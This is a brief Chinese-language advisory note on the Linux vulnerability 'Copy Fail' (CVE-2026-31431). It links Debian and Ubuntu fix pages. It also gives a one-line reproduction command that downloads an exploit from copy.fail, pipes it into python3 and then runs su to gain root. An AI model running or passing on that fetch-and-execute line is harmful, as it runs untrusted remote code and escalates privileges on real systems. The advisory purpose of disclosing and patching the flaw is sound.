Copy Fail
官网：copy.fail
复现：curl https://copy.fail/exp | python3 && su
CVE：CVE-2026-31431
发行版修复方式：
- Debian：通过内核更新修复，https://security-tracker.debian.org/tracker/CVE-2026-31431
- Ubuntu：见 https://ubuntu.com/security/CVE-2026-31431, https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available